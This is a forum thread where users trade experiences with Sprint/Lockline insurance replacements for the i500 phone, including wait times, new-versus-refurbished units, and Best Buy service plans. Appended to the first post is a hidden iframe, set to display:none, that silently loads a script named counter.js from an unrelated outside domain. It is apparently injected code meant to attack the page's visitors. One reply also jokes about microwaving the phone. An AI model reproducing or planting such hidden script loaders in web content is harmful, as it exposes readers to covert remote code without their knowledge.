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  1. #1
    The Vinyl Skin Guy!!
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    Sprint/lockline replacement

    My brother put in a claim today with sprint/ lockline for a new phone. We were wondering if anyone else has had their I500's replaced by the insurance, and did they get a brand new phone or a refurb, also how long did you have to wait. Thanks<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  2. #2
    Registered User mahootzki's Avatar
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    I did it 3 weeks ago, I had to wait till they got it in stock. Once they got it in they sent it right away, I got 3 days later.

  3. #3
    The Vinyl Skin Guy!!
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    Was it brand new or refurb?

  4. #4
    Registered User mahootzki's Avatar
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    Brand new. I think its too soon for refurbished......yet

  5. #5
    Cunning Linguist th3_plague's Avatar
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    Originally posted by mahootzki
    Brand new. I think its too soon for refurbished......yet
    Do they send you the phone, then you send the broken unit or are you wihtout a phone for a while?
    I gave up on the free ipod. And where'd my smilies go?

    th3_plague

  6. #6
    Registered User mahootzki's Avatar
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    You have 30 days to return the old one !!!

  7. #7
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    I don't understand. What cause do you give them in order to get a more expensive phone? do you have to pay the difference?

  8. #8
    Registered User mahootzki's Avatar
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    No I had a break in in my car, and my car insurance did not cover this, (or my after maket navigation system $3500.00 ) good thing Lockline did.

    Its definitly worth $4.00 a month

  9. #9
    Cunning Linguist th3_plague's Avatar
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    Originally posted by alexstjo
    I don't understand. What cause do you give them in order to get a more expensive phone? do you have to pay the difference?
    They don't send you a more expensive phone, they send you the same one.
    I gave up on the free ipod. And where'd my smilies go?

    th3_plague

  10. #10
    Registered User
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    On a related topic, does the LockLine/Sprint ERP show up on the manage web site under "My Plan"? I signed up for the insurance through LockLine a few weeks ago and I haven't seen anything about it.

    Perhaps my latest invoice (last week) was printed before the insurance 20-something day startup delay?

  11. #11
    Registered User
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    Originally posted by slayer
    On a related topic, does the LockLine/Sprint ERP show up on the manage web site under "My Plan"? I signed up for the insurance through LockLine a few weeks ago and I haven't seen anything about it.

    Perhaps my latest invoice (last week) was printed before the insurance 20-something day startup delay?
    Yes, it does show up in the My Plan section of the website.

    It takes 20 days to show up though if you didn't buy it at the time of activation.

    I purchased the Best Buy PSP plan also. I was surprised when I learned I could do this even though I bought my phone from Sprint Tele Sales.

  12. #12
    Registered User JRoss's Avatar
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    has anyone else gotten the bb psp without buying th ephone from them? I tried they said no way...

  13. #13
    Registered User mahootzki's Avatar
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    Originally posted by JRoss
    has anyone else gotten the bb psp without buying th ephone from them? I tried they said no way...
    I dont know what bb psp stands for otherwise I would be able to answer you

  14. #14
    Registered User JRoss's Avatar
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    best buy performance service plan (3 yr warranty)

  15. #15
    Registered User mahootzki's Avatar
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    But with that you are not covered if it was lost or stolen, but with LockLine you are...

  16. #16
    Registered User JRoss's Avatar
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    i don't want that coverage, i just want to find out how to get a bb psp.

  17. #17
    Registered User
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    Yes, I got the best buy performance service plan with my i500. I bought it just last week. The guy who sold me the phone asked if I wanted it... I said yes...

    - Josh

  18. #18
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    Like me, I don't think Jason bought his phone from Best Buy. I think we both bought it from Sprint telesales. Under these circumstances I wouldn't expect Best Buy to sell the PSP plan, but the guy working in the cell department said all he needed to do was find the SKU for the phone and that it would be no problem selling me the PSP. I paid $70.00 for 3 years. It does not protect against loss, so I'm keeping LockLine as additional insurance.

  19. #19
    Phone Connoisseur rjmoose's Avatar
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    You could ALWAYS microwave it.

  20. #20
    Registered User
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    Originally posted by mahootzki
    Brand new. I think its too soon for refurbished......yet
    When you say the replacement was "brand new" do you mean in a sealed box with all original accessories, too? Lockline usually only sends the phone and a battery.
    Charles

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